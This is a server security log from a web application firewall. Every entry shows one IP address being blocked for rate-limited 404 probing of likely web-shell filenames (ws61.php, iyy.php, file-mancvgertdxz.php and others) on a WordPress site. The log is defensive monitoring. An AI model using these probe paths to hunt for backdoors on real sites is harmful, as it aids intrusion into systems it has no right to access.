[Sat Apr 11 09:41:28.672140 2026] [:error] [pid 25460:tid 25467] [client 72.146.3.145:49534] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "admmyJ4qILXFw3ifO2tzoQAAAEU"]
[Sat Apr 11 09:41:29.199774 2026] [:error] [pid 22665:tid 22736] [client 72.146.3.145:29693] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "admmyUgi15J0QUr6OrPq2QAAAYw"]
[Sat Apr 11 09:41:29.680356 2026] [:error] [pid 25460:tid 25480] [client 72.146.3.145:29932] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "admmyZ4qILXFw3ifO2tzqgAAAFI"]
[Sat Apr 11 09:41:30.171090 2026] [:error] [pid 25460:tid 25469] [client 72.146.3.145:45005] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "admmyp4qILXFw3ifO2tzsAAAAEc"]
[Sat Apr 11 09:41:30.677567 2026] [:error] [pid 22664:tid 22714] [client 72.146.3.145:49490] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws61.php"] [unique_id "admmygRS_OPFpcXOZmWPngAAAVE"]
[Sat Apr 11 09:41:31.242905 2026] [:error] [pid 22663:tid 22692] [client 72.146.3.145:29904] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iyy.php"] [unique_id "admmy41p7ez17BT2hZYPVAAAARg"]
[Sat Apr 11 09:41:31.728763 2026] [:error] [pid 22664:tid 22703] [client 72.146.3.145:22964] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iyy.php"] [unique_id "admmywRS_OPFpcXOZmWPpAAAAUY"]
[Sat Apr 11 09:41:32.214648 2026] [:error] [pid 22663:tid 22674] [client 72.146.3.145:50885] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iyy.php"] [unique_id "admmzI1p7ez17BT2hZYPWAAAAQY"]
[Sat Apr 11 09:41:32.837780 2026] [:error] [pid 25460:tid 25483] [client 72.146.3.145:56559] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iyy.php"] [unique_id "admmzJ4qILXFw3ifO2tzvQAAAFU"]
[Sat Apr 11 09:41:33.375460 2026] [:error] [pid 22756:tid 22758] [client 72.146.3.145:44330] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "admmzWfoSJ40LEm6kfq_FQAAAAA"]
[Sat Apr 11 09:41:35.054206 2026] [:error] [pid 25460:tid 25481] [client 72.146.3.145:49473] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "admmz54qILXFw3ifO2tzxAAAAFM"]
[Sat Apr 11 09:41:35.529866 2026] [:error] [pid 22664:tid 22714] [client 72.146.3.145:30840] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "admmzwRS_OPFpcXOZmWPrQAAAVE"]
[Sat Apr 11 09:41:36.243490 2026] [:error] [pid 25460:tid 25475] [client 72.146.3.145:39206] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "admm0J4qILXFw3ifO2tzxwAAAE0"]
[Sat Apr 11 09:41:36.770415 2026] [:error] [pid 22756:tid 22780] [client 72.146.3.145:39219] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admm0GfoSJ40LEm6kfq_IQAAABY"]
[Sat Apr 11 09:41:37.334886 2026] [:error] [pid 25460:tid 25471] [client 72.146.3.145:33789] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admm0Z4qILXFw3ifO2tzzAAAAEk"]
[Sat Apr 11 09:41:37.913913 2026] [:error] [pid 22756:tid 22764] [client 72.146.3.145:56532] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admm0WfoSJ40LEm6kfq_JwAAAAY"]
[Sat Apr 11 09:41:38.675056 2026] [:error] [pid 25460:tid 25486] [client 72.146.3.145:30835] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blsvgeyaza.php"] [unique_id "admm0p4qILXFw3ifO2tz0gAAAFg"]
[Sat Apr 11 09:41:39.142884 2026] [:error] [pid 22663:tid 22682] [client 72.146.3.145:30788] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gqhyti.php"] [unique_id "admm041p7ez17BT2hZYPXgAAAQ4"]
[Sat Apr 11 09:41:39.742648 2026] [:error] [pid 25460:tid 25485] [client 72.146.3.145:39203] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gqhyti.php"] [unique_id "admm054qILXFw3ifO2tz2AAAAFc"]
[Sat Apr 11 09:41:40.399443 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:44299] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gqhyti.php"] [unique_id "admm1J4qILXFw3ifO2tz4QAAAEA"]
[Sat Apr 11 09:41:41.192753 2026] [:error] [pid 22756:tid 22762] [client 72.146.3.145:44295] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gqhyti.php"] [unique_id "admm1WfoSJ40LEm6kfq_LwAAAAQ"]
[Sat Apr 11 09:41:41.881908 2026] [:error] [pid 22663:tid 22680] [client 72.146.3.145:4877] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoxxi.php"] [unique_id "admm1Y1p7ez17BT2hZYPZQAAAQw"]
[Sat Apr 11 09:41:42.390758 2026] [:error] [pid 22664:tid 22710] [client 72.146.3.145:30823] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoxxi.php"] [unique_id "admm1gRS_OPFpcXOZmWPtwAAAU0"]
[Sat Apr 11 09:41:43.256261 2026] [:error] [pid 22756:tid 22773] [client 72.146.3.145:4653] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoxxi.php"] [unique_id "admm12foSJ40LEm6kfq_NAAAAA8"]
[Sat Apr 11 09:41:43.843131 2026] [:error] [pid 22756:tid 22779] [client 72.146.3.145:30804] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoxxi.php"] [unique_id "admm12foSJ40LEm6kfq_OAAAABU"]
[Sat Apr 11 09:41:44.481873 2026] [:error] [pid 25460:tid 25480] [client 72.146.3.145:39189] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admm2J4qILXFw3ifO2tz7AAAAFI"]
[Sat Apr 11 09:41:45.207889 2026] [:error] [pid 22664:tid 22708] [client 72.146.3.145:56562] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admm2QRS_OPFpcXOZmWPvgAAAUs"]
[Sat Apr 11 09:41:45.997469 2026] [:error] [pid 22664:tid 22717] [client 72.146.3.145:26803] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admm2QRS_OPFpcXOZmWPwQAAAVQ"]
[Sat Apr 11 09:41:46.545526 2026] [:error] [pid 25460:tid 25473] [client 72.146.3.145:53712] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1144452145_error_log.php"] [unique_id "admm2p4qILXFw3ifO2tz9gAAAEs"]
[Sat Apr 11 09:41:47.218207 2026] [:error] [pid 22665:tid 22739] [client 72.146.3.145:35443] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "admm20gi15J0QUr6OrPrEgAAAY8"]
[Sat Apr 11 09:41:47.778444 2026] [:error] [pid 22664:tid 22710] [client 72.146.3.145:50897] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "admm2wRS_OPFpcXOZmWPxwAAAU0"]
[Sat Apr 11 09:41:48.639526 2026] [:error] [pid 25460:tid 25479] [client 72.146.3.145:4890] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "admm3J4qILXFw3ifO2t0AwAAAFE"]
[Sat Apr 11 09:41:49.164578 2026] [:error] [pid 22756:tid 22764] [client 72.146.3.145:44328] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "admm3WfoSJ40LEm6kfq_RQAAAAY"]
[Sat Apr 11 09:41:49.844139 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:35437] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admm3Z4qILXFw3ifO2t0DAAAAEQ"]
[Sat Apr 11 09:41:50.674028 2026] [:error] [pid 25460:tid 25475] [client 72.146.3.145:22941] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admm3p4qILXFw3ifO2t0FAAAAE0"]
[Sat Apr 11 09:41:51.267862 2026] [:error] [pid 22665:tid 22728] [client 72.146.3.145:50900] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admm30gi15J0QUr6OrPrFAAAAYQ"]
[Sat Apr 11 09:41:51.884944 2026] [:error] [pid 22664:tid 22717] [client 72.146.3.145:4403] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asyn-upload.php"] [unique_id "admm3wRS_OPFpcXOZmWPzAAAAVQ"]
[Sat Apr 11 09:41:59.381060 2026] [:error] [pid 22756:tid 22764] [client 72.146.3.145:53154] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "admm52foSJ40LEm6kfq_dwAAAAY"]
[Sat Apr 11 09:41:59.893202 2026] [:error] [pid 22665:tid 22748] [client 72.146.3.145:30847] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "admm50gi15J0QUr6OrPrKwAAAZg"]
[Sat Apr 11 09:42:00.430571 2026] [:error] [pid 25460:tid 25481] [client 72.146.3.145:53747] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "admm6J4qILXFw3ifO2t0PAAAAFM"]
[Sat Apr 11 09:42:00.906120 2026] [:error] [pid 22665:tid 22739] [client 72.146.3.145:4912] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "admm6Egi15J0QUr6OrPrNgAAAY8"]
[Sat Apr 11 09:42:01.397740 2026] [:error] [pid 22665:tid 22726] [client 72.146.3.145:30797] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "admm6Ugi15J0QUr6OrPrOgAAAYI"]
[Sat Apr 11 09:42:01.918713 2026] [:error] [pid 25460:tid 25471] [client 72.146.3.145:35245] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "admm6Z4qILXFw3ifO2t0QQAAAEk"]
[Sat Apr 11 09:42:02.394982 2026] [:error] [pid 22756:tid 22770] [client 72.146.3.145:34651] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "admm6mfoSJ40LEm6kfq_fAAAAAw"]
[Sat Apr 11 09:42:02.855033 2026] [:error] [pid 22756:tid 22758] [client 72.146.3.145:25075] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "admm6mfoSJ40LEm6kfq_fwAAAAA"]
[Sat Apr 11 09:42:03.440391 2026] [:error] [pid 22756:tid 22775] [client 72.146.3.145:4908] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "admm62foSJ40LEm6kfq_hQAAABE"]
[Sat Apr 11 09:42:04.559107 2026] [:error] [pid 25460:tid 25474] [client 72.146.3.145:24851] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "admm7J4qILXFw3ifO2t0UwAAAEw"]
[Sat Apr 11 09:42:05.022344 2026] [:error] [pid 22756:tid 22779] [client 72.146.3.145:56524] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "admm7WfoSJ40LEm6kfq_iQAAABU"]
[Sat Apr 11 09:42:05.819437 2026] [:error] [pid 22664:tid 22708] [client 72.146.3.145:56568] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "admm7QRS_OPFpcXOZmWP7gAAAUs"]
[Sat Apr 11 09:42:06.295097 2026] [:error] [pid 22756:tid 22777] [client 72.146.3.145:53176] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "admm7mfoSJ40LEm6kfq_jQAAABM"]
[Sat Apr 11 09:42:06.766896 2026] [:error] [pid 25460:tid 25482] [client 72.146.3.145:30797] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "admm7p4qILXFw3ifO2t0XwAAAFQ"]
[Sat Apr 11 09:42:07.255474 2026] [:error] [pid 25460:tid 25464] [client 72.146.3.145:65416] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "admm754qILXFw3ifO2t0YgAAAEI"]
[Sat Apr 11 09:42:07.714638 2026] [:error] [pid 22664:tid 22699] [client 72.146.3.145:53133] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "admm7wRS_OPFpcXOZmWP8gAAAUI"]
[Sat Apr 11 09:42:08.175139 2026] [:error] [pid 25460:tid 25463] [client 72.146.3.145:35263] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admm8J4qILXFw3ifO2t0bAAAAEE"]
[Sat Apr 11 09:42:08.895596 2026] [:error] [pid 25460:tid 25467] [client 72.146.3.145:26809] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admm8J4qILXFw3ifO2t0cAAAAEU"]
[Sat Apr 11 09:42:09.354086 2026] [:error] [pid 22663:tid 22672] [client 72.146.3.145:50898] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "admm8Y1p7ez17BT2hZYPeQAAAQQ"]
